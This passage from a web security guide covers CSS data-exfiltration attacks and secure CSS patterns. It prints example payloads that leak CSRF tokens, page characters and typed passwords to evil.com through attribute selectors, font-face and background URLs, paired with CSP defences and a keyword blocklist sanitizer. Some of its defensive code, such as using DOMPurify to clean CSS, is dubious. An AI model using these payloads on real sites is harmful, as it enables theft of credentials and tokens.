  • Monitor CSP reports: Set up report-uri to catch violations in production

21.3 CSS Data Exfiltration Prevention

Attack Method How It Works Mitigation
Attribute Selector Leaking CSS matches attributes, loads background-image with data CSP img-src, disable user CSS, sanitize selectors
:visited History Sniffing Style :visited links differently, detect via timing Browser limits :visited styles (color only)
CSS Injection via @import @import url() loads external CSS with stolen data CSP style-src, avoid @import, use bundlers
Font-face Unicode Range Load font only for specific characters to detect content CSP font-src, limit user-controlled fonts
Scroll-to-Text Fragment CSS scroll-based animations leak text presence Disable user CSS, limit animation access
Background-image with Data Load images with URL params containing stolen data CSP img-src 'self', no external images

Example: CSS Data Exfiltration Attacks and Defenses

<!-- ATTACK 1: Attribute Selector Exfiltration -->
<!-- Attacker's goal: Steal CSRF token from hidden input -->
<input type="hidden" name="csrf_token" value="abc123xyz">

<!-- Attacker injects this CSS -->
<style>
  /* Leak first character */
  input[name="csrf_token"][value^="a"] {
    background: url(https://evil.com/log?token=a);
  }
  input[name="csrf_token"][value^="b"] {
    background: url(https://evil.com/log?token=b);
  }
  /* ...continue for all characters... */
  
  /* Leak second character after knowing first is 'a' */
  input[name="csrf_token"][value^="aa"] {
    background: url(https://evil.com/log?token=aa);
  }
  input[name="csrf_token"][value^="ab"] {
    background: url(https://evil.com/log?token=ab);
  }
  /* ...exponential requests to leak full token... */
</style>

<!-- ✅ DEFENSE -->
Content-Security-Policy: 
  img-src 'self';  /* Block external image requests */
  style-src 'self';  /* Block external stylesheets */

<!-- ATTACK 2: :visited Link History Sniffing -->
<style>
  /* Try to detect visited links */
  a:visited { 
    background: url(https://evil.com/visited?url=example.com); 
  }
  
  /* Timing attack variant */
  a:visited { 
    animation: leak 0.001s; 
  }
  @keyframes leak {
    to { background: url(https://evil.com/visited); }
  }
</style>

<!-- ✅ DEFENSE: Browsers automatically limit :visited styles -->
/* Only these properties work on :visited (browser enforced): */
:visited {
  color: red;           /* ✅ Allowed */
  background-color: blue; /* ✅ Allowed */
  border-color: green;  /* ✅ Allowed */
  /* Everything else is ignored */
  background-image: url(); /* ❌ Blocked */
  animation: none;      /* ❌ Blocked */
}

<!-- ATTACK 3: Font-based Content Detection -->
<style>
  @font-face {
    font-family: 'leak';
    src: url(https://evil.com/font?char=a);
    unicode-range: U+0061; /* Only for 'a' */
  }
  @font-face {
    font-family: 'leak';
    src: url(https://evil.com/font?char=b);
    unicode-range: U+0062; /* Only for 'b' */
  }
  
  body { font-family: 'leak', sans-serif; }
  /* Font loads reveal which characters exist in the page */
</style>

<!-- ✅ DEFENSE -->
Content-Security-Policy: 
  font-src 'self' https://fonts.gstatic.com;  /* Whitelist trusted fonts */

<!-- ATTACK 4: Input Value Keylogging -->
<style>
  /* Detect password as it's typed */
  input[type="password"][value*="a"] { 
    background: url(https://evil.com?pw=a); 
  }
  input[type="password"][value*="b"] { 
    background: url(https://evil.com?pw=b); 
  }
  /* Leak full password via combinations */
</style>

<!-- ✅ DEFENSE -->
<!-- 1. Strict CSP -->
Content-Security-Policy: 
  default-src 'self';
  style-src 'self';
  img-src 'self' data:;

<!-- 2. Disable attribute selectors on sensitive inputs -->
/* Override any attribute selectors */
input[type="password"] {
  background: none !important;
  background-image: none !important;
}

<!-- 3. Use autocomplete="off" and add noise -->
<input type="password" autocomplete="new-password" 
       readonly onfocus="this.removeAttribute('readonly')">
High-Risk CSS Features for Data Exfiltration:
  • ⚠️ Attribute selectors with user data: [attr^="val"], [attr*="val"], [attr$="val"]
  • ⚠️ background-image: url() - Can send data via URL parameters
  • ⚠️ @import url() - Loads external CSS, can include data in URL
  • ⚠️ @font-face src: - Font loading can leak character usage
  • ⚠️ :visited pseudo-class: Limited by browsers, but timing attacks possible
  • ⚠️ content: url() - Can load external resources with data
  • ⚠️ cursor: url() - Custom cursors can make requests with data

21.4 Secure CSS Architecture Patterns

Pattern Security Benefit Implementation
CSS Modules Scoped styles prevent global injection Build-time class name hashing, explicit imports
Utility-first CSS No user-generated selectors, limited attack surface Tailwind, predefined classes only
CSS-in-JS with sanitization Runtime sanitization, no inline styles styled-components with DOMPurify
Shadow DOM encapsulation Style isolation prevents external CSS injection Web Components with closed shadow roots
Zero user-generated CSS No CSS injection possible Predefined themes, color pickers, no custom CSS
Allowlist-based theming Only safe values permitted CSS variables with validated values

Example: Secure CSS Architecture Examples

<!-- PATTERN 1: Allowlist-based User Theming -->
<!-- ❌ INSECURE: Direct user input -->
<div style="background: {{ userColor }}"></div>
<!-- User can inject: red; background-image: url(evil.com) -->

<!-- ✅ SECURE: Validated allowlist -->
const ALLOWED_COLORS = {
  'primary': '#3498db',
  'secondary': '#2ecc71',
  'danger': '#e74c3c',
  'warning': '#f39c12'
};

function applyTheme(userChoice) {
  const safeColor = ALLOWED_COLORS[userChoice] || ALLOWED_COLORS.primary;
  document.documentElement.style.setProperty('--theme-color', safeColor);
}

<!-- CSS -->
:root {
  --theme-color: #3498db; /* Safe default */
}

.button {
  background: var(--theme-color); /* Only uses validated value */
}

<!-- PATTERN 2: CSS Modules for Scoping -->
<!-- styles.module.css -->
.userContent {
  /* Hashed class name: .userContent_a1b2c3 */
  color: black;
}

<!-- Component -->
import styles from './styles.module.css';

function UserPost({ content }) {
  // User content is sanitized HTML, CSS classes are safe
  return (
    <div className={styles.userContent}>
      {sanitize(content)}
    </div>
  );
}

<!-- PATTERN 3: Shadow DOM Isolation -->
class SecureWidget extends HTMLElement {
  constructor() {
    super();
    // Closed shadow root - external CSS cannot access
    this.attachShadow({ mode: 'closed' });
    
    this.shadowRoot.innerHTML = `
      <style>
        /* Fully isolated, no external CSS can inject here */
        :host { display: block; }
        .content { color: var(--widget-color, black); }
      </style>
      <div class="content">
        <slot></slot>
      </div>
    `;
  }
}

<!-- PATTERN 4: Sanitized CSS-in-JS -->
import styled from 'styled-components';
import DOMPurify from 'dompurify';

// Sanitize any user-provided values
function sanitizeCSSValue(value) {
  // Remove dangerous characters and keywords
  const dangerous = [
    'expression', 'javascript:', 'data:',
    'url(', '@import', '<', '>'
  ];
  
  let safe = String(value);
  dangerous.forEach(pattern => {
    safe = safe.replace(new RegExp(pattern, 'gi'), '');
  });
  
  return safe;
}

const UserStyledDiv = styled.div`
  /* Only use sanitized values */
  color: ${props => sanitizeCSSValue(props.userColor)};
  /* Better: use allowlist */
  background: ${props => ALLOWED_COLORS[props.theme] || '#fff'};
`;

<!-- PATTERN 5: Strict CSP with Nonces -->
<!-- Server generates nonce per request -->
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy', 
  `style-src 'self' 'nonce-${nonce}'`
);

<!-- Only styles with matching nonce are allowed -->
<style nonce="${nonce}">
  .safe { color: red; }
</style>

<!-- Any injected styles without nonce are blocked -->
<style>.malicious { background: url(evil.com); }</style>
<!-- ❌ Blocked by CSP -->

<!-- PATTERN 6: Input Sanitization Library -->
import DOMPurify from 'dompurify';

// Configure DOMPurify for CSS
const cleanCSS = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: [],
  ALLOWED_ATTR: [],
  ALLOW_DATA_ATTR: false
});

// Use sanitized CSS
element.style.cssText = cleanCSS;

Example: Security Checklist for CSS

<!-- Development Phase -->
☑ Never trust user input in CSS (sanitize all user data)
Use CSS Modules or scoped styles (prevent global injection)
☑ Avoid inline styles with user data (use classes instead)
☑ Implement allowlists for user-customizable styles (colors, sizes)
Use build-time CSS processing (PostCSS, bundlers)
☑ Validate all CSS custom property values (--user-var)
☑ Don't allow user-uploaded stylesheets (high risk)

<!-- Deployment Phase -->
☑ Implement Content Security Policy (CSP)
  - style-src 'self' or with nonces
  - img-src 'self' data: (limit background-image sources)
  - font-src whitelist (trusted font CDNs only)
Use Subresource Integrity (SRI) for external CSS
Set secure HTTP headers
  - X-Content-Type-Options: nosniff
  - X-Frame-Options: DENY or SAMEORIGIN
  - frame-ancestors 'self' (in CSP)
☑ Enable HTTPS everywhere (prevent MITM CSS injection)
☑ Test CSP in Report-Only mode before enforcing

<!-- Runtime Phase -->
☑ Monitor CSP violation reports (catch injection attempts)
Use automated security scanning (OWASP ZAP, Burp Suite)
☑ Perform regular security audits (penetration testing)
☑ Keep dependencies updated (security patches)
☑ Log and alert on suspicious CSS patterns (attribute selectors on sensitive fields)

<!-- Code Review Checklist -->
☑ Search for dangerous patterns:
  - element.style.cssText = userInput
  - <style>{{ userInput }}</style>
  - @import url({{ userInput }})
  - background: url({{ userInput }})
☑ Verify CSP is properly configured
☑ Check that sensitive inputs don't allow attribute selectors
☑ Ensure external resources use SRI
☑ Validate all theme/customization features use allowlists
CSS Security Best Practices Summary:
  • Defense in Depth: Use multiple layers (CSP + SRI + sanitization + allowlists)
  • Principle of Least Privilege: Allow only necessary CSS sources and features
  • Fail Securely: Default to safe values when validation fails
  • Input Validation: Allowlist > Sanitization > Blocklist (in order of preference)
  • Monitor and Alert: Log CSP violations, scan for injection patterns
  • Regular Audits: Security testing, dependency updates, policy reviews

CSS Security and Best Practices Final Summary

  • Treat CSS as code, not data - It can be exploited for XSS, data theft, UI attacks
  • Never trust user input in CSS - Sanitize, validate, use allowlists for all user data
  • Implement strict Content Security Policy - Use 'self', nonces, or hashes; avoid 'unsafe-inline'
  • Prevent attribute selector data exfiltration - CSP img-src 'self', disable user CSS
  • Use Subresource Integrity (SRI) - Verify external stylesheets haven't been tampered with
  • Apply secure architecture patterns - CSS Modules, Shadow DOM, allowlist-based theming
  • Monitor CSP violations in production - Set up report-uri to catch injection attempts
  • Avoid dangerous CSS features with user data - @import, url() in properties, attribute selectors
  • Regular security audits - Test for CSS injection, data exfiltration, clickjacking vulnerabilities
  • Defense in depth: Combine CSP + SRI + sanitization + scoping for robust security